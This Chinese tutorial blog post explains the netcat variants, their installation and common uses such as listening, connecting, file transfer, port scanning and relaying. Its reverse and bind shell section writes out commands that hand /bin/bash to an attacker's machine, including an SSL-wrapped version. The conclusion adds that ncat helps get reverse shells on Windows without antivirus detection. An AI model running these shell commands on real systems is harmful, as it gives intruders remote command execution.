前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Netcat - 你需要知道的一切

Netcat - 你需要知道的一切

原创
作者头像
mariolu
发布2021-07-29 08:54:42
4.5K0
发布2021-07-29 08:54:42
举报

简介

Netcat 是一种跨网络连接读写数据的工具,使用 TCP 或 UDP 协议。Netcat 被称为 TCP/IP/网络瑞士军刀。在本文中,将介绍netcat 的不同应用变种,以及它如何在渗透测试人员、安全专家、系统管理员等的日常活动中发挥作用……


变体

netcat 有多种变体,但大多数核心功能和命令行选项都非常相似。Netcat 最初是为了在 linux 上使用而编写的,这些变体是基于 linux 的,但仍然可以在 windows 上使用 netcat。


Netcat Traditional

Netcat Traditional 是最初的实现,由一个叫Hobbit的人编写。这通常不会预先安装,除非使用像 kali linux 这样的发行版。它不再维护,版本为 1.10。

在ubuntu/debian 的机器上运行apt search netcat,它显示为 netcat 或 netcat-traditional。

要安装它,可以运行sudo apt install netcat-traditional或通过从源代码编译,也可以从项目页面https://nc110.sourceforge.io/ 获取。

如果在系统上安装 netcat 的不同变体,可能必须使用完整的二进制名称调用命令。在这种情况下,运行nc.traditional -h查看命令行选项。

注意到 -e 选项,这在 openbsd 版本中不可用。这是考虑安全漏洞的功能。


GNU 网络

GNU Netcat 是对原始 netcat 的重写,以使其具有新功能并完全符合 GNU 的可移植性。这意味着它可以很容易地安装在几乎所有的 Linux 发行版上。此版本无法通过包管理器获得。它似乎也不再维护,因为它的最新版本是 2004 年的 0.7.1。

要获得它,可以从项目网站http://netcat.sourceforge.net下载源文件,然后编译它。

需要 gcc 和 make 才能成功安装。二进制文件将安装到 /usr/local/bin/netcat。下面是要使用的命令。

代码语言:javascript
复制
cd netcat-0.7.1/
./configure
make
sudo make install

Netcat OpenBSD

Netcat OpenBSD 版本是对原始 netcat 的重写,包括对 IPv6、代理和 unix 套接字的支持。除了这些增强功能之外,它还被编译以删除一个被认为是应用程序巨大安全漏洞的功能。

这个版本是最常见的,你会发现它默认安装在 ubuntu 发行版(桌面和服务器)中。对于其他 linux 发行版,您可能需要自己安装。

通过apt search netcat在 ubuntu 机器上运行,它显示为 netcat-openbsd 包。

要安装它,您可以运行sudo apt install netcat-openbsd. 安装 netcat 后,它会符号链接到 nc 和 netcat,以便于调用命令。可以通过检查 nc 和 netcat 的 realpath 来看到这一点,它们指向同一个 nc.openbsd 二进制文件。

运行查看可用的命令行选项netcat -h。


Ncat

Ncat 是对 nmap 项目 netcat 的重新实现。此版本功能更加丰富和改进。

安装 nmap 时,也会安装 ncat,这适用于 windows 和 linux。然后运行ncat -h以查看可用的命令行选项。

您也可以从源代码编译安装它,可以从 nmap 网站https://nmap.org/ncat/下载。


功能

现在了解了不同的变体,让我们看看netcat 的最常见功能。大多数语法在不同的变体中是通用的。

我们将关注 2 个最新的变体,netcat-openbsdncat,因为它们是最近维护和更新的。


服务器/客户端模式

服务器模式

在服务器模式下,可以使用 netcat 来侦听连接。这样做是在系统上打开一个端口(tcp 或 udp)。

默认情况下,netcat 侦听 tcp。以下命令将侦听端口 8080 上的所有接口。

代码语言:javascript
复制
nc -lvnp 8080

要指定要侦听的接口,例如 localhost,可以对 openbsd 变体使用以下语法。

代码语言:javascript
复制
nc -s 127.0.0.1 -lvnp 8080

Ncat 在指定接口时用不同的语法。

代码语言:javascript
复制
ncat -lvn 127.0.0.1 8080

监听 udp 的语法与 tcp 类似,但包括 -u 选项。

代码语言:javascript
复制
nc -l -u -v -n -p 8080

命令行选项可以组合在一起或分开使用。


客户端模式

在客户端模式下,您可以使用 netcat 连接到系统上的开放端口。这对于手动检查服务横幅或仅检查端口是否打开是有益的。

对于在端口 8080 上连接到 IP 127.0.0.1 时的 tcp 连接,语法如下。

代码语言:javascript
复制
nc -vn 127.0.0.1 8080

对于 udp 连接,我们只添加 -u 选项。

代码语言:javascript
复制
nc -uvn 127.0.0.1 8080

反转/绑定壳

这里看 netcat 如何使用反向 shell 和绑定 shell。

这在渗透测试人员中非常流行,并且使用 netcat 使其变得容易。使用服务器/客户端模型进行解释。

使用的命令仅适用于 ncat、netcat tradition和 gnu netcat。Netcat OpenBSD没有这个特性,因为它认为这是一个安全风险。


反向 shell

对于反向 shell,我们在服务器模式下使用 netcat 来侦听连接,然后从客户端提供 shell。这将允许服务器上的会话在收到 shell 后在客户端上运行命令。从渗透测试的角度来看,服务器是攻击者机器,客户端是受害者机器。

服务器(攻击者机器)

代码语言:javascript
复制
nc -lvnp 8080

客户端(受害者机器)

代码语言:javascript
复制
nc -e /bin/bash 192.168.125.10 8080

绑定Shell

对于绑定Shell,服务器模式下的 netcat 侦听连接并将外壳进程提供给任何连接的客户端。然后以客户端模式运行的 Netcat 可以连接到服务器并获得对服务器的 shell 访问并运行命令。从渗透测试的角度来看,服务器是受害者机器,客户端是攻击者机器。

服务器(受害者机器)

代码语言:javascript
复制
nc -e /bin/bash -lvnp 8080

客户端(攻击者机器)

代码语言:javascript
复制
nc 192.168.125.10 8080

文件传输

由于能够写入原始socket,我们可以通过连接将文件从一个系统传输到另一个系统而不会失真。

为此,我们并不真正关心哪个是服务器,哪个是客户端,因为传输可以朝任一方向进行,但我们需要先运行侦听器。

要通过端口 8080 将 server1 上的文件传输到 server2,可以按如下方式完成:

代码语言:javascript
复制
nc -lvnp 8080 < infile   (server1)
nc 192.168.125.10 8080 > outfile  (server2)

在相反的方向做同样的事情:

代码语言:javascript
复制
nc 192.168.125.20 8080 < infile (server1)
nc -lvnp 8080 > outfile (server2)

端口扫描

此功能未在 ncat 中实现,但在其他变体中可用。ncat省略了这个功能,但是他们提供了更好的工具nmap。

因此,如果发现一个带有 netcat-openbsd 的系统并且无法安装 nmap,可以运行基本的端口扫描,如下所示。

要扫描目标上的 TCP 端口,使用以下语法。

代码语言:javascript
复制
nc -nvv -w 1 -z 127.0.0.1 1-1000

要扫描目标上的 UDP 端口,使用以下语法。

代码语言:javascript
复制
nc -nvv -w 1 -z -u 127.0.0.1 1-1000

流量重定向

这仅适用于支持 -e 选项的软件版本。

以下面的场景为例,server1 不能直接连接到 server3,而只能通过 server2。

代码语言:javascript
复制
server1 <-------------> server2 <-------------> server3

要将流量从 server1 重定向到在端口 8080 上运行在 server3 (192.168.125.40) 上的 Web 应用程序,我们可以在 server2 上执行以下 ncat 命令。

代码语言:javascript
复制
nc -klvnp 8000 -e "/bin/nc 192.168.125.40 8080"

现在,可以通过访问server2的 8000端口上来访问 server3 上的 Web 应用程序。


Ncat 附加功能

从这些功能可以看出安全风险,因为连接上没有加密,因为 netcat 将以最原始的形式写入连接,因此任何嗅探网络的人都可以在 shell 和文件传输的情况下捕获未加密的所有流量。对于绑定 shell,没有身份验证,因此任何连接到绑定 shell 正在侦听的端口的人都可以在机器上运行命令。

使用 ncat 时,其中一些问题得到解决,因为它允许使用 ssl 以及访问控制。


加密 shell

对于反向 shell,使用相同的命令语法,但添加--ssl到命令中,绑定 shell 也是如此。

服务器(攻击者机器)

代码语言:javascript
复制
nc --ssl -lvnp 8080

客户端(受害者机器)

代码语言:javascript
复制
nc --ssl -e /bin/bash 192.168.125.10 8080

访问控制

在服务器模式下使用 netcat 时,该--allow选项可以指定允许连接到端口的一台主机或网络范围,这对于绑定 shell 情况很有用。同样,您可以使用 –deny 拒绝来自特定主机或网络范围的访问。

代码语言:javascript
复制
nc --allow 127.0.0.1 -e /bin/bash -lvnp 8000

上面的命令将绑定 shell 设置为只接受来自本地主机的连接。


结论

Netcat 是用于网络相关活动的非常棒的工具,我发现它在 CTF 期间非常有用,有时在渗透测试期间使用它。

windows 的 netcat(特别是 ncat,因为 ssl 功能)是一个很好的实用程序,可以帮助你获得反向外壳并且不会被标记为病毒。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 变体
  • Netcat Traditional
  • GNU 网络
  • Netcat OpenBSD
  • Ncat
  • 功能
  • 服务器/客户端模式
  • 反转/绑定壳
  • 反向 shell
  • 文件传输
  • 端口扫描
  • 流量重定向
  • Ncat 附加功能
  • 结论
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档